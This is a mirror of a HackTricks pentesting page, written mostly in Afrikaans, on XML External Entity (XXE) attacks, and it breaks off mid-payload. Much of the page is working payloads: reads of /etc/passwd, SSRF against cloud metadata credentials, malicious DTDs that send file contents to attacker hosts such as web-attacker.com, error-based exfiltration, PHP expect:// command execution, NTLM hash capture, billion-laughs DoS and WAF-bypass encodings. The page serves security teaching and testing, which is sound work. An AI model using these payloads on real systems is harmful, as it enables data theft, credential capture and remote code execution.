maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity
hacktricks/src/pentesting-web/xxe-xee-xml-external-entity.md

42 KiB
Raw Blame History

XXE - XEE - XML Externe Entiteit

{{#include ../banners/hacktricks-training.md}}

XML Basiese Beginsels

XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.

  • Data voorstelling deur Entiteite: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos &lt; en &gt;, wat ooreenstem met < en > om konflik met XML se etikette stelsel te vermy.
  • Definiëring van XML Elemente: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
  • Dokumenttipe Definisie (DTD): DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
  • Pasgemaakte en Eksterne Entiteite: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • XXE Opsporing met Parameter Entiteite: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk weens parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Hoofaanvalle

Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe

Nuwe Entiteit toets

In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Lees lêer

Kom ons probeer om /etc/passwd op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: C:\windows\system32\drivers\etc\hosts

In hierdie eerste geval let op dat SYSTEM "**file:///**etc/passwd" ook sal werk.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Hierdie tweede geval behoort nuttig te wees om 'n lêer te onttrek as die webbediener PHP gebruik (nie die geval van Portswiggers laboratoriums nie)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

In hierdie derde geval let op dat ons die Element stockCheck as ANY verklaar.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Gidslys

In Java gebaseerde toepassings mag dit moontlik wees om die inhoud van 'n gids te lys via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

'n XXE kan gebruik word om 'n SSRF binne 'n wolk te misbruik

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Met die voorheen kommentaartegniek kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat XML-entiteite nie toegelaat word nie; in daardie geval kan jy probeer om XML-parameterentiteite te gebruik:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltreer data uit-band

In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via _ftp://_ uit te haal met hierdie basiese bediener byvoorbeeld xxe-ftp-server.rb). Hierdie verduideliking is gebaseer op Portswiggers lab hier.

In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:

Kwaadwillige DTD Voorbeeld:

Die struktuur is soos volg:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Die stappe wat deur hierdie DTD uitgevoer word, sluit in:

  1. Definisie van Parameter Entiteite:
  • 'n XML parameter entiteit, %file, word geskep, wat die inhoud van die /etc/hostname lêer lees.
  • 'n Ander XML parameter entiteit, %eval, word gedefinieer. Dit verklaar dinamies 'n nuwe XML parameter entiteit, %exfiltrate. Die %exfiltrate entiteit is ingestel om 'n HTTP versoek na die aanvaller se bediener te maak, wat die inhoud van die %file entiteit binne die navraagstring van die URL deurgee.
  1. Uitvoering van Entiteite:
  • Die %eval entiteit word gebruik, wat lei tot die uitvoering van die dinamiese verklaring van die %exfiltrate entiteit.
  • Die %exfiltrate entiteit word dan gebruik, wat 'n HTTP versoek na die gespesifiseerde URL met die lêer se inhoud aktiveer.

Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer, tipies by 'n URL soos http://web-attacker.com/malicious.dtd.

XXE Payload: Om 'n kwesbare toepassing te benut, stuur die aanvaller 'n XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Hierdie payload definieer 'n XML parameterentiteit %xxe en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die /etc/hostname lêer na die aanvaller se bediener.

Foutgebaseerd (Eksterne DTD)

In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien). Voorbeeld hier.

'n XML-parsingsfoutboodskap, wat die inhoud van die /etc/passwd lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:

  1. 'n XML parameterentiteit genaamd file word gedefinieer, wat die inhoud van die /etc/passwd lêer bevat.
  2. 'n XML parameterentiteit genaamd eval word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd error inkorporeer. Hierdie error entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die file entiteit as sy naam inkorporeer.
  3. Die eval entiteit word aangeroep, wat lei tot die dinamiese verklaring van die error entiteit.
  4. Aangroeping van die error entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die /etc/passwd lêer as deel van die lêernaam insluit.

Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede eval in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).

Foutgebaseerd (sisteem DTD)

So wat van blinde XXE kwesbaarhede wanneer uit-baan interaksies geblokkeer is (eksterne verbindings is nie beskikbaar nie)?

'n Gaping in die XML-taal spesifikasie kan sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, vanuit 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.

Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by /usr/local/app/schema.dtd, wat 'n entiteit genaamd custom_entity definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die /etc/passwd lêer onthul deur 'n hibriede DTD soos volg in te dien:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

Die uiteengesette stappe word deur hierdie DTD uitgevoer:

  • Die definisie van 'n XML parameterentiteit genaamd local_dtd sluit die eksterne DTD-lêer in wat op die bediener se lêerstelsel geleë is.
  • 'n Herdefinisie vind plaas vir die custom_entity XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n error-based XXE exploit te omhul. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die /etc/passwd lêer blootstel.
  • Deur die local_dtd entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde custom_entity insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.

Werklike wêreld voorbeeld: Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by /usr/share/yelp/dtd/docbookx.dtd wat 'n entiteit genaamd ISOamso bevat.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Aangesien hierdie tegniek 'n interne DTD gebruik, moet jy eers 'n geldige een vind. Jy kan dit doen deur die dieselfde OS / sagteware te installeer wat die bediener gebruik en sommige standaard DTDs te soek, of 'n lys van standaard DTDs in stelsels te verkry en te kyk of enige van hulle bestaan:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Vir meer inligting, kyk na https://portswigger.net/web-security/xxe/blind

Vind DTDs binne die stelsel

In die volgende wonderlike github repo kan jy paaie van DTDs wat in die stelsel teenwoordig kan wees vind:

{{#ref}} https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}}

Boonop, as jy die Docker beeld van die slagoffer stelsel het, kan jy die hulpmiddel van dieselfde repo gebruik om die beeld te skandeer en die pad van DTDs wat binne die stelsel teenwoordig is, te vind. Lees die Readme van die github om te leer hoe.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

Vir 'n meer diepgaande verduideliking van hierdie aanval, kyk na die tweede afdeling van hierdie wonderlike pos van Detectify.

Die vermoë om Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.

Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n Microsoft Office-lêer te skep wat 'n XXE-payload bevat. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.

Sodra die dokument ontzip is, moet die XML-lêer geleë by ./unzipped/word/document.xml geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die gewenste XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.

Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.

Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:

Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai word, en 'n mens kan hoop vir 'n versoek om in die Burp Collaborator-logs te verskyn.

Jar: protocol

Die jar protokol is eksklusief beskikbaar binne Java-toepassings. Dit is ontwerp om lêer toegang binne 'n PKZIP argief (bv., .zip, .jar, ens.) te fasiliteer, wat beide plaaslike en afstandslêers dek.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Caution

Om toegang te verkry tot lêers binne PKZIP-lêers is uiters nuttig om XXE via stelsels DTD-lêers te misbruik. Kyk hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik.

Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:

  1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te aflaai, soos https://download.website.com/archive.zip.
  2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos /tmp/....
  3. Die argief word dan onttrek om toegang tot sy inhoud te verkry.
  4. Die spesifieke lêer binne die argief, file.zip, word gelees.
  5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.

'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by hierdie repo kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (slow_http_server.py) en 'n Java-bediener (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Caution

Om lêers in 'n tydelike gids te skryf kan help om 'n ander kwesbaarheid wat 'n pad traversering behels te verhoog (soos plaaslike lêer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Biljoen Lag Aanval

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml-aanval

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Kwadratiese Blowup Aanval

Verkryging van NTML

Op Windows-gasheer is dit moontlik om die NTML-hash van die webbediener gebruiker te verkry deur 'n responder.py handler in te stel:

Responder.py -I eth0 -v

en deur die volgende versoek te stuur

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Verborgen XXE Oppervlakke

XInclude

Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die DOCTYPE element. 'n XInclude aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.

Om 'n XInclude aanval uit te voer, moet die XInclude naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Kontrollere https://portswigger.net/web-security/xxe vir meer inligting!

SVG - Lêeroplaai

Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.

Wanneer gebruikers beelde oplaai, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML Externe Entiteit) kwesbaarhede.

'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

'n Ander metode behels die poging om opdragte deur die PHP "expect" wrapper uit te voer:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

In beide gevalle word die SVG-formaat gebruik om aanvalle te loods wat die XML-verwerkingsvermoëns van die bediener se sagteware benut, wat die behoefte aan robuuste invoervalidasie en sekuriteitsmaatreëls beklemtoon.

Kyk na https://portswigger.net/web-security/xxe vir meer inligting!

Let daarop dat die eerste lyn van die geleesde lêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang te verkry tot die beeld wat SVG geskep het.

PDF - Lêer opgelaai

Lees die volgende pos om te leer hoe om 'n XXE te benut deur 'n PDF lêer op te laai:

{{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}}

Inhoudstipe: Van x-www-urlencoded na XML

As 'n POST-versoek die data in XML-formaat aanvaar, kan jy probeer om 'n XXE in daardie versoek te benut. Byvoorbeeld, as 'n normale versoek die volgende bevat:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Dan kan jy dalk die volgende versoek indien, met dieselfde resultaat:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Van JSON na XEE

Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “Content Type Converter“. Hier kan jy hierdie voorbeeld vind:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Nog 'n voorbeeld kan hier gevind word.

WAF & Beskerming Omseilings

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Dit werk net as die XML-bediener die data:// protokol aanvaar.

UTF-7

Jy kan die ["Encode Recipe" van cyberchef hier ]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformeer na UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

As die web PHP gebruik, kan jy in plaas van file:/ php wrappersphp://filter/convert.base64-encode/resource= gebruik om interne lêers te toegang.

As die web Java gebruik, kan jy die jar: protocol nagaan.

HTML Entities

Truk van https://github.com/Ambrotd/XXE-Notes
Jy kan 'n entiteit binne 'n entiteit skep deur dit met html entities te kodeer en dit dan aan te roep om 'n dtd te laai.
Let daarop dat die HTML Entities wat gebruik word numeries moet wees (soos [in hierdie voorbeeld](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD voorbeeld:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Onttrek index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Onttrek eksterne hulpbron

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Afgeleë kode-uitvoering

As die PHP "expect" module gelaai is

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Hierdie voorbeeld is geïnspireer deur https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.

Blind Request Analise

'n Versoek word aan die bediener gemaak met die volgende inhoud:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Hierdie versoek veroorsaak egter 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

Ten spyte van die fout, word 'n treffer op Burp Collaborator aangeteken, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.

Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking van hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.

Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Die bediener reageer met 'n fout, wat belangrik die nie-bestaande lêer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lêer:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aangepas:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.

RSS - XEE

Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.

Ping terug

Eenvoudige HTTP-versoek na die aanvallers se bediener

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
